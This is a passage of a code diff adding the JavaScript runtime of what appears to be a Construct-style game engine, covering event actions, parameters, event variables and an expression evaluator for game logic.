+ };
+ cr.condition = Condition;
+ function Action(block, m)
+ {
+ this.block = block;
+ this.sheet = block.sheet;
+ this.runtime = block.runtime;
+ this.parameters = [];
+ this.results = [];
+ this.extra = {}; // for plugins to stow away some custom info
+ this.index = -1;
+ this.anyParamVariesPerInstance = false;
+ this.func = this.runtime.GetObjectReference(m[1]);
+;
+ if (m[0] === -1) // system
+ {
+ this.type = null;
+ this.run = this.run_system;
+ this.behaviortype = null;
+ this.beh_index = -1;
+ }
+ else
+ {
+ this.type = this.runtime.types_by_index[m[0]];
+;
+ this.run = this.run_object;
+ if (m[2])
+ {
+ this.behaviortype = this.type.getBehaviorByName(m[2]);
+;
+ this.beh_index = this.type.getBehaviorIndexByName(m[2]);
+;
+ }
+ else
+ {
+ this.behaviortype = null;
+ this.beh_index = -1;
+ }
+ }
+ this.sid = m[3];
+ this.runtime.actsBySid[this.sid.toString()] = this;
+ if (m.length === 6)
+ {
+ var i, len;
+ var em = m[5];
+ for (i = 0, len = em.length; i < len; i++)
+ {
+ var param = new cr.parameter(this, em[i]);
+ cr.seal(param);
+ this.parameters.push(param);
+ }
+ this.results.length = em.length;
+ }
+ };
+ Action.prototype.postInit = function ()
+ {
+ var i, len, p;
+ for (i = 0, len = this.parameters.length; i < len; i++)
+ {
+ p = this.parameters[i];
+ p.postInit();
+ if (p.variesPerInstance)
+ this.anyParamVariesPerInstance = true;
+ }
+ };
+ Action.prototype.run_system = function ()
+ {
+ var runtime = this.runtime;
+ var i, len;
+ var parameters = this.parameters;
+ var results = this.results;
+ for (i = 0, len = parameters.length; i < len; ++i)
+ results[i] = parameters[i].get();
+ return this.func.apply(runtime.system, results);
+ };
+ Action.prototype.run_object = function ()
+ {
+ var type = this.type;
+ var beh_index = this.beh_index;
+ var family_index = type.family_index;
+ var params_vary = this.anyParamVariesPerInstance;
+ var parameters = this.parameters;
+ var results = this.results;
+ var func = this.func;
+ var instances = type.getCurrentSol().getObjects();
+ var is_family = type.is_family;
+ var is_beh = (beh_index > -1);
+ var i, j, leni, lenj, p, inst, offset;
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ {
+ p = parameters[j];
+ if (!p.variesPerInstance)
+ results[j] = p.get(0);
+ }
+ }
+ else
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ results[j] = parameters[j].get(0);
+ }
+ for (i = 0, leni = instances.length; i < leni; ++i)
+ {
+ inst = instances[i];
+ if (params_vary)
+ {
+ for (j = 0, lenj = parameters.length; j < lenj; ++j)
+ {
+ p = parameters[j];
+ if (p.variesPerInstance)
+ results[j] = p.get(i); // pass i to use as default SOL index
+ }
+ }
+ if (is_beh)
+ {
+ offset = 0;
+ if (is_family)
+ {
+ offset = inst.type.family_beh_map[family_index];
+ }
+ func.apply(inst.behavior_insts[beh_index + offset], results);
+ }
+ else
+ func.apply(inst, results);
+ }
+ return false;
+ };
+ cr.action = Action;
+ var tempValues = [];
+ var tempValuesPtr = -1;
+ function pushTempValue()
+ {
+ tempValuesPtr++;
+ if (tempValues.length === tempValuesPtr)
+ tempValues.push(new cr.expvalue());
+ return tempValues[tempValuesPtr];
+ };
+ function popTempValue()
+ {
+ tempValuesPtr--;
+ };
+ function Parameter(owner, m)
+ {
+ this.owner = owner;
+ this.block = owner.block;
+ this.sheet = owner.sheet;
+ this.runtime = owner.runtime;
+ this.type = m[0];
+ this.expression = null;
+ this.solindex = 0;
+ this.get = null;
+ this.combosel = 0;
+ this.layout = null;
+ this.key = 0;
+ this.object = null;
+ this.index = 0;
+ this.varname = null;
+ this.eventvar = null;
+ this.fileinfo = null;
+ this.subparams = null;
+ this.variadicret = null;
+ this.subparams = null;
+ this.variadicret = null;
+ this.variesPerInstance = false;
+ var i, len, param;
+ switch (m[0])
+ {
+ case 0: // number
+ case 7: // any
+ this.expression = new cr.expNode(this, m[1]);
+ this.solindex = 0;
+ this.get = this.get_exp;
+ break;
+ case 1: // string
+ this.expression = new cr.expNode(this, m[1]);
+ this.solindex = 0;
+ this.get = this.get_exp_str;
+ break;
+ case 5: // layer
+ this.expression = new cr.expNode(this, m[1]);
+ this.solindex = 0;
+ this.get = this.get_layer;
+ break;
+ case 3: // combo
+ case 8: // cmp
+ this.combosel = m[1];
+ this.get = this.get_combosel;
+ break;
+ case 6: // layout
+ this.layout = this.runtime.layouts[m[1]];
+;
+ this.get = this.get_layout;
+ break;
+ case 9: // keyb
+ this.key = m[1];
+ this.get = this.get_key;
+ break;
+ case 4: // object
+ this.object = this.runtime.types_by_index[m[1]];
+;
+ this.get = this.get_object;
+ this.block.addSolModifier(this.object);
+ if (this.owner instanceof cr.action)
+ this.block.setSolWriterAfterCnds();
+ else if (this.block.parent)
+ this.block.parent.setSolWriterAfterCnds();
+ break;
+ case 10: // instvar
+ this.index = m[1];
+ if (owner.type && owner.type.is_family)
+ {
+ this.get = this.get_familyvar;
+ this.variesPerInstance = true;
+ }
+ else
+ this.get = this.get_instvar;
+ break;
+ case 11: // eventvar
+ this.varname = m[1];
+ this.eventvar = null;
+ this.get = this.get_eventvar;
+ break;
+ case 2: // audiofile ["name", ismusic]
+ case 12: // fileinfo "name"
+ this.fileinfo = m[1];
+ this.get = this.get_audiofile;
+ break;
+ case 13: // variadic
+ this.get = this.get_variadic;
+ this.subparams = [];
+ this.variadicret = [];
+ for (i = 1, len = m.length; i < len; i++)
+ {
+ param = new cr.parameter(this.owner, m[i]);
+ cr.seal(param);
+ this.subparams.push(param);
+ this.variadicret.push(0);
+ }
+ break;
+ default:
+;
+ }
+ };
+ Parameter.prototype.postInit = function ()
+ {
+ var i, len;
+ if (this.type === 11) // eventvar
+ {
+ this.eventvar = this.runtime.getEventVariableByName(this.varname, this.block.parent);
+;
+ }
+ else if (this.type === 13) // variadic, postInit all sub-params
+ {
+ for (i = 0, len = this.subparams.length; i < len; i++)
+ this.subparams[i].postInit();
+ }
+ if (this.expression)
+ this.expression.postInit();
+ };
+ Parameter.prototype.maybeVaryForType = function (t)
+ {
+ if (this.variesPerInstance)
+ return; // already varies per instance, no need to check again
+ if (!t)
+ return; // never vary for system type
+ if (!t.plugin.singleglobal)
+ {
+ this.variesPerInstance = true;
+ return;
+ }
+ };
+ Parameter.prototype.setVaries = function ()
+ {
+ this.variesPerInstance = true;
+ };
+ Parameter.prototype.get_exp = function (solindex)
+ {
+ this.solindex = solindex || 0; // default SOL index to use
+ var temp = pushTempValue();
+ this.expression.get(temp);
+ popTempValue();
+ return temp.data; // return actual JS value, not expvalue
+ };
+ Parameter.prototype.get_exp_str = function (solindex)
+ {
+ this.solindex = solindex || 0; // default SOL index to use
+ var temp = pushTempValue();
+ this.expression.get(temp);
+ popTempValue();
+ if (cr.is_string(temp.data))
+ return temp.data;
+ else
+ return "";
+ };
+ Parameter.prototype.get_object = function ()
+ {
+ return this.object;
+ };
+ Parameter.prototype.get_combosel = function ()
+ {
+ return this.combosel;
+ };
+ Parameter.prototype.get_layer = function (solindex)
+ {
+ this.solindex = solindex || 0; // default SOL index to use
+ var temp = pushTempValue();
+ this.expression.get(temp);
+ popTempValue();
+ if (temp.is_number())
+ return this.runtime.getLayerByNumber(temp.data);
+ else
+ return this.runtime.getLayerByName(temp.data);
+ }
+ Parameter.prototype.get_layout = function ()
+ {
+ return this.layout;
+ };
+ Parameter.prototype.get_key = function ()
+ {
+ return this.key;
+ };
+ Parameter.prototype.get_instvar = function ()
+ {
+ return this.index;
+ };
+ Parameter.prototype.get_familyvar = function (solindex_)
+ {
+ var solindex = solindex_ || 0;
+ var familytype = this.owner.type;
+ var realtype = null;
+ var sol = familytype.getCurrentSol();
+ var objs = sol.getObjects();
+ if (objs.length)
+ realtype = objs[solindex % objs.length].type;
+ else if (sol.else_instances.length)
+ realtype = sol.else_instances[solindex % sol.else_instances.length].type;
+ else if (familytype.instances.length)
+ realtype = familytype.instances[solindex % familytype.instances.length].type;
+ else
+ return 0;
+ return this.index + realtype.family_var_map[familytype.family_index];
+ };
+ Parameter.prototype.get_eventvar = function ()
+ {
+ return this.eventvar;
+ };
+ Parameter.prototype.get_audiofile = function ()
+ {
+ return this.fileinfo;
+ };
+ Parameter.prototype.get_variadic = function ()
+ {
+ var i, len;
+ for (i = 0, len = this.subparams.length; i < len; i++)
+ {
+ this.variadicret[i] = this.subparams[i].get();
+ }
+ return this.variadicret;
+ };
+ cr.parameter = Parameter;
+ function EventVariable(sheet, parent, m)
+ {
+ this.sheet = sheet;
+ this.parent = parent;
+ this.runtime = sheet.runtime;
+ this.solModifiers = [];
+ this.name = m[1];
+ this.vartype = m[2];
+ this.initial = m[3];
+ this.is_static = !!m[4];
+ this.is_constant = !!m[5];
+ this.sid = m[6];
+ this.runtime.varsBySid[this.sid.toString()] = this;
+ this.data = this.initial; // note: also stored in event stack frame for local nonstatic nonconst vars
+ if (this.parent) // local var
+ {
+ if (this.is_static || this.is_constant)
+ this.localIndex = -1;
+ else
+ this.localIndex = this.runtime.stackLocalCount++;
+ this.runtime.all_local_vars.push(this);
+ }
+ else // global var
+ {
+ this.localIndex = -1;
+ this.runtime.all_global_vars.push(this);
+ }
+ };
+ EventVariable.prototype.postInit = function ()
+ {
+ this.solModifiers = findMatchingSolModifier(this.solModifiers);
+ };
+ EventVariable.prototype.setValue = function (x)
+ {
+;
+ var lvs = this.runtime.getCurrentLocalVarStack();
+ if (!this.parent || this.is_static || !lvs)
+ this.data = x;
+ else // local nonstatic variable: use event stack to keep value at this level of recursion
+ {
+ if (this.localIndex >= lvs.length)
+ lvs.length = this.localIndex + 1;
+ lvs[this.localIndex] = x;
+ }
+ };
+ EventVariable.prototype.getValue = function ()
+ {
+ var lvs = this.runtime.getCurrentLocalVarStack();
+ if (!this.parent || this.is_static || !lvs || this.is_constant)
+ return this.data;
+ else // local nonstatic variable
+ {
+ if (this.localIndex >= lvs.length)
+ {
+ return this.initial;
+ }
+ if (typeof lvs[this.localIndex] === "undefined")
+ {
+ return this.initial;
+ }
+ return lvs[this.localIndex];
+ }
+ };
+ EventVariable.prototype.run = function ()
+ {
+ if (this.parent && !this.is_static && !this.is_constant)
+ this.setValue(this.initial);
+ };
+ cr.eventvariable = EventVariable;
+ function EventInclude(sheet, parent, m)
+ {
+ this.sheet = sheet;
+ this.parent = parent;
+ this.runtime = sheet.runtime;
+ this.solModifiers = [];
+ this.include_sheet = null; // determined in postInit
+ this.include_sheet_name = m[1];
+ this.active = true;
+ };
+ EventInclude.prototype.toString = function ()
+ {
+ return "include:" + this.include_sheet.toString();
+ };
+ EventInclude.prototype.postInit = function ()
+ {
+ this.include_sheet = this.runtime.eventsheets[this.include_sheet_name];
+;
+;
+ this.sheet.includes.add(this);
+ this.solModifiers = findMatchingSolModifier(this.solModifiers);
+ var p = this.parent;
+ while (p)
+ {
+ if (p.group)
+ p.contained_includes.push(this);
+ p = p.parent;
+ }
+ this.updateActive();
+ };
+ EventInclude.prototype.run = function ()
+ {
+ if (this.parent)
+ this.runtime.pushCleanSol(this.runtime.types_by_index);
+ if (!this.include_sheet.hasRun)
+ this.include_sheet.run(true); // from include
+ if (this.parent)
+ this.runtime.popSol(this.runtime.types_by_index);
+ };
+ EventInclude.prototype.updateActive = function ()
+ {
+ var p = this.parent;
+ while (p)
+ {
+ if (p.group && !p.group_active)
+ {
+ this.active = false;
+ return;
+ }
+ p = p.parent;
+ }
+ this.active = true;
+ };
+ EventInclude.prototype.isActive = function ()
+ {
+ return this.active;
+ };
+ cr.eventinclude = EventInclude;
+ function EventStackFrame()
+ {
+ this.temp_parents_arr = [];
+ this.reset(null);
+ cr.seal(this);
+ };
+ EventStackFrame.prototype.reset = function (cur_event)
+ {
+ this.current_event = cur_event;
+ this.cndindex = 0;
+ this.actindex = 0;
+ cr.clearArray(this.temp_parents_arr);
+ this.last_event_true = false;
+ this.else_branch_ran = false;
+ this.any_true_state = false;
+ };
+ EventStackFrame.prototype.isModifierAfterCnds = function ()
+ {
+ if (this.current_event.solWriterAfterCnds)
+ return true;
+ if (this.cndindex < this.current_event.conditions.length - 1)
+ return !!this.current_event.solModifiers.length;
+ return false;
+ };
+ cr.eventStackFrame = EventStackFrame;
+}());
+(function()
+{
+ function ExpNode(owner_, m)
+ {
+ this.owner = owner_;
+ this.runtime = owner_.runtime;
+ this.type = m[0];
+;
+ this.get = [this.eval_int,
+ this.eval_float,
+ this.eval_string,
+ this.eval_unaryminus,
+ this.eval_add,
+ this.eval_subtract,
+ this.eval_multiply,
+ this.eval_divide,
+ this.eval_mod,
+ this.eval_power,
+ this.eval_and,
+ this.eval_or,
+ this.eval_equal,
+ this.eval_notequal,
+ this.eval_less,
+ this.eval_lessequal,
+ this.eval_greater,
+ this.eval_greaterequal,
+ this.eval_conditional,
+ this.eval_system_exp,
+ this.eval_object_exp,
+ this.eval_instvar_exp,
+ this.eval_behavior_exp,
+ this.eval_eventvar_exp][this.type];
+ var paramsModel = null;
+ this.value = null;
+ this.first = null;
+ this.second = null;
+ this.third = null;
+ this.func = null;
+ this.results = null;
+ this.parameters = null;
+ this.object_type = null;
+ this.beh_index = -1;
+ this.instance_expr = null;
+ this.varindex = -1;
+ this.behavior_type = null;
+ this.varname = null;
+ this.eventvar = null;
+ this.return_string = false;
+ switch (this.type) {
+ case 0: // int
+ case 1: // float
+ case 2: // string
+ this.value = m[1];
+ break;
+ case 3: // unaryminus
+ this.first = new cr.expNode(owner_, m[1]);
+ break;
+ case 18: // conditional
+ this.first = new cr.expNode(owner_, m[1]);
+ this.second = new cr.expNode(owner_, m[2]);
+ this.third = new cr.expNode(owner_, m[3]);
+ break;
+ case 19: // system_exp
+ this.func = this.runtime.GetObjectReference(m[1]);
+;
+ if (this.func === cr.system_object.prototype.exps.random
+ || this.func === cr.system_object.prototype.exps.choose)
+ {
+ this.owner.setVaries();
+ }
+ this.results = [];
+ this.parameters = [];
+ if (m.length === 3)
+ {
+ paramsModel = m[2];
+ this.results.length = paramsModel.length + 1; // must also fit 'ret'
+ }
+ else
+ this.results.length = 1; // to fit 'ret'
+ break;
+ case 20: // object_exp
+ this.object_type = this.runtime.types_by_index[m[1]];
+;
+ this.beh_index = -1;
+ this.func = this.runtime.GetObjectReference(m[2]);
+ this.return_string = m[3];
+ if (cr.plugins_.Function && this.func === cr.plugins_.Function.prototype.exps.Call)
+ {
+ this.owner.setVaries();
+ }
+ if (m[4])
+ this.instance_expr = new cr.expNode(owner_, m[4]);
+ else
+ this.instance_expr = null;
+ this.results = [];
+ this.parameters = [];
+ if (m.length === 6)
+ {
+ paramsModel = m[5];
+ this.results.length = paramsModel.length + 1;
+ }
+ else
+ this.results.length = 1; // to fit 'ret'
+ break;
+ case 21: // instvar_exp
+ this.object_type = this.runtime.types_by_index[m[1]];
+;
+ this.return_string = m[2];
+ if (m[3])
+ this.instance_expr = new cr.expNode(owner_, m[3]);
+ else
+ this.instance_expr = null;
+ this.varindex = m[4];
+ break;
+ case 22: // behavior_exp
+ this.object_type = this.runtime.types_by_index[m[1]];
+;
+ this.behavior_type = this.object_type.getBehaviorByName(m[2]);
+;
+ this.beh_index = this.object_type.getBehaviorIndexByName(m[2]);
+ this.func = this.runtime.GetObjectReference(m[3]);
+ this.return_string = m[4];
+ if (m[5])
+ this.instance_expr = new cr.expNode(owner_, m[5]);
+ else
+ this.instance_expr = null;
+ this.results = [];
+ this.parameters = [];
+ if (m.length === 7)
+ {
+ paramsModel = m[6];
+ this.results.length = paramsModel.length + 1;
+ }
+ else
+ this.results.length = 1; // to fit 'ret'
+ break;
+ case 23: // eventvar_exp
+ this.varname = m[1];
+ this.eventvar = null; // assigned in postInit
+ break;
+ }
+ this.owner.maybeVaryForType(this.object_type);
+ if (this.type >= 4 && this.type <= 17)
+ {
+ this.first = new cr.expNode(owner_, m[1]);
+ this.second = new cr.expNode(owner_, m[2]);
+ }
+ if (paramsModel)
+ {
+ var i, len;
+ for (i = 0, len = paramsModel.length; i < len; i++)
+ this.parameters.push(new cr.expNode(owner_, paramsModel[i]));
+ }
+ cr.seal(this);
+ };
+ ExpNode.prototype.postInit = function ()
+ {
+ if (this.type === 23) // eventvar_exp
+ {
+ this.eventvar = this.owner.runtime.getEventVariableByName(this.varname, this.owner.block.parent);
+;
+ }
+ if (this.first)
+ this.first.postInit();
+ if (this.second)
+ this.second.postInit();
+ if (this.third)
+ this.third.postInit();
+ if (this.instance_expr)
+ this.instance_expr.postInit();
+ if (this.parameters)
+ {
+ var i, len;
+ for (i = 0, len = this.parameters.length; i < len; i++)
+ this.parameters[i].postInit();
+ }
+ };
+ var tempValues = [];
+ var tempValuesPtr = -1;
+ function pushTempValue()
+ {
+ ++tempValuesPtr;
+ if (tempValues.length === tempValuesPtr)
+ tempValues.push(new cr.expvalue());
+ return tempValues[tempValuesPtr];
+ };
+ function popTempValue()
+ {
+ --tempValuesPtr;
+ };
+ function eval_params(parameters, results, temp)
+ {
+ var i, len;
+ for (i = 0, len = parameters.length; i < len; ++i)
+ {
+ parameters[i].get(temp);
+ results[i + 1] = temp.data; // passing actual javascript value as argument instead of expvalue
+ }
+ }
+ ExpNode.prototype.eval_system_exp = function (ret)
+ {
+ var parameters = this.parameters;
+ var results = this.results;
+ results[0] = ret;
+ var temp = pushTempValue();
+ eval_params(parameters, results, temp);
+ popTempValue();
+ this.func.apply(this.runtime.system, results);
+ };
+ ExpNode.prototype.eval_object_exp = function (ret)
+ {
+ var object_type = this.object_type;
+ var results = this.results;
+ var parameters = this.parameters;
+ var instance_expr = this.instance_expr;
+ var func = this.func;
+ var index = this.owner.solindex; // default to parameter's intended SOL index
+ var sol = object_type.getCurrentSol();
+ var instances = sol.getObjects();
+ if (!instances.length)
+ {
+ if (sol.else_instances.length)
+ instances = sol.else_instances;
+ else
+ {
+ if (this.return_string)
+ ret.set_string("");
+ else
+ ret.set_int(0);
+ return;
+ }
+ }
+ results[0] = ret;
+ ret.object_class = object_type; // so expression can access family type if need be
+ var temp = pushTempValue();
+ eval_params(parameters, results, temp);
+ if (instance_expr) {
+ instance_expr.get(temp);
+ if (temp.is_number()) {
+ index = temp.data;
+ instances = object_type.instances; // pick from all instances, not SOL
+ }
+ }
+ popTempValue();
+ var len = instances.length;
+ if (index >= len || index <= -len)
+ index %= len; // wraparound
+ if (index < 0)
+ index += len;
+ var returned_val = func.apply(instances[index], results);
+;
+ };
+ ExpNode.prototype.eval_behavior_exp = function (ret)
+ {
+ var object_type = this.object_type;
+ var results = this.results;
+ var parameters = this.parameters;
+ var instance_expr = this.instance_expr;
+ var beh_index = this.beh_index;
+ var func = this.func;
+ var index = this.owner.solindex; // default to parameter's intended SOL index
+ var sol = object_type.getCurrentSol();
+ var instances = sol.getObjects();
+ if (!instances.length)
+ {
+ if (sol.else_instances.length)
+ instances = sol.else_instances;
+ else
+ {
+ if (this.return_string)
+ ret.set_string("");
+ else
+ ret.set_int(0);
+ return;
+ }
+ }
+ results[0] = ret;
+ ret.object_class = object_type; // so expression can access family type if need be
+ var temp = pushTempValue();
+ eval_params(parameters, results, temp);
+ if (instance_expr) {
+ instance_expr.get(temp);
+ if (temp.is_number()) {
+ index = temp.data;
+ instances = object_type.instances; // pick from all instances, not SOL
+ }
+ }
+ popTempValue();
+ var len = instances.length;
+ if (index >= len || index <= -len)
+ index %= len; // wraparound
+ if (index < 0)
+ index += len;
+ var inst = instances[index];
+ var offset = 0;
+ if (object_type.is_family)
+ {
+ offset = inst.type.family_beh_map[object_type.family_index];
+ }
+ var returned_val = func.apply(inst.behavior_insts[beh_index + offset], results);
+;
+ };
+ ExpNode.prototype.eval_instvar_exp = function (ret)
+ {
+ var instance_expr = this.instance_expr;
+ var object_type = this.object_type;
+ var varindex = this.varindex;
+ var index = this.owner.solindex; // default to parameter's intended SOL index
+ var sol = object_type.getCurrentSol();
+ var instances = sol.getObjects();
+ var inst;
+ if (!instances.length)
+ {
+ if (sol.else_instances.length)
+ instances = sol.else_instances;
+ else
+ {
+ if (this.return_string)
+ ret.set_string("");
+ else
+ ret.set_int(0);
+ return;
+ }
+ }
+ if (instance_expr)
+ {
+ var temp = pushTempValue();
+ instance_expr.get(temp);
+ if (temp.is_number())
+ {
+ index = temp.data;
+ var type_instances = object_type.instances;
+ if (type_instances.length !== 0) // avoid NaN result with %
+ {
+ index %= type_instances.length; // wraparound
+ if (index < 0) // offset
+ index += type_instances.length;
+ }
+ inst = object_type.getInstanceByIID(index);
+ var to_ret = inst.instance_vars[varindex];
+ if (cr.is_string(to_ret))
+ ret.set_string(to_ret);
+ else
+ ret.set_float(to_ret);
+ popTempValue();
+ return; // done
+ }
+ popTempValue();
+ }
+ var len = instances.length;
+ if (index >= len || index <= -len)
+ index %= len; // wraparound
+ if (index < 0)
+ index += len;
+ inst = instances[index];
+ var offset = 0;
+ if (object_type.is_family)
+ {
+ offset = inst.type.family_var_map[object_type.family_index];
+ }
+ var to_ret = inst.instance_vars[varindex + offset];
+ if (cr.is_string(to_ret))
+ ret.set_string(to_ret);
+ else
+ ret.set_float(to_ret);
+ };
+ ExpNode.prototype.eval_int = function (ret)
+ {
+ ret.type = cr.exptype.Integer;
+ ret.data = this.value;
+ };
+ ExpNode.prototype.eval_float = function (ret)
+ {
+ ret.type = cr.exptype.Float;
+ ret.data = this.value;
+ };
+ ExpNode.prototype.eval_string = function (ret)
+ {
+ ret.type = cr.exptype.String;
+ ret.data = this.value;
+ };
+ ExpNode.prototype.eval_unaryminus = function (ret)
+ {
+ this.first.get(ret); // retrieve operand
+ if (ret.is_number())
+ ret.data = -ret.data;
+ };
+ ExpNode.prototype.eval_add = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data += temp.data; // both operands numbers: add
+ if (temp.is_float())
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_subtract = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data -= temp.data; // both operands numbers: subtract
+ if (temp.is_float())
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_multiply = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data *= temp.data; // both operands numbers: multiply
+ if (temp.is_float())
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_divide = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data /= temp.data; // both operands numbers: divide
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_mod = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data %= temp.data; // both operands numbers: modulo
+ if (temp.is_float())
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_power = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ ret.data = Math.pow(ret.data, temp.data); // both operands numbers: raise to power
+ if (temp.is_float())
+ ret.make_float();
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_and = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (temp.is_string() || ret.is_string())
+ this.eval_and_stringconcat(ret, temp);
+ else
+ this.eval_and_logical(ret, temp);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_and_stringconcat = function (ret, temp)
+ {
+ if (ret.is_string() && temp.is_string())
+ this.eval_and_stringconcat_str_str(ret, temp);
+ else
+ this.eval_and_stringconcat_num(ret, temp);
+ };
+ ExpNode.prototype.eval_and_stringconcat_str_str = function (ret, temp)
+ {
+ ret.data += temp.data;
+ };
+ ExpNode.prototype.eval_and_stringconcat_num = function (ret, temp)
+ {
+ if (ret.is_string())
+ {
+ ret.data += (Math.round(temp.data * 1e10) / 1e10).toString();
+ }
+ else
+ {
+ ret.set_string(ret.data.toString() + temp.data);
+ }
+ };
+ ExpNode.prototype.eval_and_logical = function (ret, temp)
+ {
+ ret.set_int(ret.data && temp.data ? 1 : 0);
+ };
+ ExpNode.prototype.eval_or = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ if (ret.is_number() && temp.is_number())
+ {
+ if (ret.data || temp.data)
+ ret.set_int(1);
+ else
+ ret.set_int(0);
+ }
+ popTempValue();
+ };
+ ExpNode.prototype.eval_conditional = function (ret)
+ {
+ this.first.get(ret); // condition operand
+ if (ret.data) // is true
+ this.second.get(ret); // evaluate second operand to ret
+ else
+ this.third.get(ret); // evaluate third operand to ret
+ };
+ ExpNode.prototype.eval_equal = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data === temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_notequal = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data !== temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_less = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data < temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_lessequal = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data <= temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_greater = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data > temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_greaterequal = function (ret)
+ {
+ this.first.get(ret); // left operand
+ var temp = pushTempValue();
+ this.second.get(temp); // right operand
+ ret.set_int(ret.data >= temp.data ? 1 : 0);
+ popTempValue();
+ };
+ ExpNode.prototype.eval_eventvar_exp = function (ret)
+ {
+ var val = this.eventvar.getValue();
+ if (cr.is_number(val))
+ ret.set_float(val);
+ else
+ ret.set_string(val);
+ };
+ cr.expNode = ExpNode;
+ function ExpValue(type, data)
+ {
+ this.type = type || cr.exptype.Integer;
+ this.data = data || 0;
+ this.object_class = null;
+;
+;
+;
+ if (this.type == cr.exptype.Integer)
+ this.data = Math.floor(this.data);
+ cr.seal(this);
+ };
+ ExpValue.prototype.is_int = function ()
+ {
+ return this.type === cr.exptype.Integer;
+ };
+ ExpValue.prototype.is_float = function ()
+ {
+ return this.type === cr.exptype.Float;
+ };
+ ExpValue.prototype.is_number = function ()
+ {
+ return this.type === cr.exptype.Integer || this.type === cr.exptype.Float;
+ };
+ ExpValue.prototype.is_string = function ()
+ {
+ return this.type === cr.exptype.String;
+ };
+ ExpValue.prototype.make_int = function ()
+ {
+ if (!this.is_int())
+ {
+ if (this.is_float())
+ this.data = Math.floor(this.data); // truncate float
+ else if (this.is_string())
+ this.data = parseInt(this.data, 10);
+ this.type = cr.exptype.Integer;
+ }
+ };
+ ExpValue.prototype.make_float = function ()
+ {
+ if (!this.is_float())
+ {
+ if (this.is_string())
+ this.data = parseFloat(this.data);
+ this.type = cr.exptype.Float;
+ }
+ };
+ ExpValue.prototype.make_string = function ()
+ {
+ if (!this.is_string())
+ {
+ this.data = this.data.toString();
+ this.type = cr.exptype.String;
+ }
+ };
+ ExpValue.prototype.set_int = function (val)
+ {
+;
+ this.type = cr.exptype.Integer;
+ this.data = Math.floor(val);
+ };
+ ExpValue.prototype.set_float = function (val)
+ {
+;
+ this.type = cr.exptype.Float;
+ this.data = val;
+ };
+ ExpValue.prototype.set_string = function (val)
+ {
+;
+ this.type = cr.exptype.String;
+ this.data = val;
+ };
+ ExpValue.prototype.set_any = function (val)
+ {
+ if (cr.is_number(val))
+ {
+ this.type = cr.exptype.Float;
+ this.data = val;
+ }
+ else if (cr.is_string(val))
+ {
+ this.type = cr.exptype.String;
+ this.data = val.toString();
+ }
+ else
+ {
+ this.type = cr.exptype.Integer;
+ this.data = 0;
+ }
+ };
+ cr.expvalue = ExpValue;
+ cr.exptype = {
+ Integer: 0, // emulated; no native integer support in javascript
+ Float: 1,
+ String: 2
+ };
+}());
+;
+cr.system_object = function (runtime)
+{
+ this.runtime = runtime;
+ this.waits = [];
+};
+cr.system_object.prototype.saveToJSON = function ()
+{
+ var o = {};
+ var i, len, j, lenj, p, w, t, sobj;
+ o["waits"] = [];
+ var owaits = o["waits"];
+ var waitobj;
+ for (i = 0, len = this.waits.length; i < len; i++)
+ {
+ w = this.waits[i];
+ waitobj = {
+ "t": w.time,
+ "st": w.signaltag,
+ "s": w.signalled,
+ "ev": w.ev.sid,
+ "sm": [],
+ "sols": {}
+ };
+ if (w.ev.actions[w.actindex])
+ waitobj["act"] = w.ev.actions[w.actindex].sid;
+ for (j = 0, lenj = w.solModifiers.length; j < lenj; j++)
+ waitobj["sm"].push(w.solModifiers[j].sid);
+ for (p in w.sols)
+ {
+ if (w.sols.hasOwnProperty(p))
+ {
+ t = this.runtime.types_by_index[parseInt(p, 10)];
+;
+ sobj = {
+ "sa": w.sols[p].sa,
+ "insts": []
+ };
+ for (j = 0, lenj = w.sols[p].insts.length; j < lenj; j++)
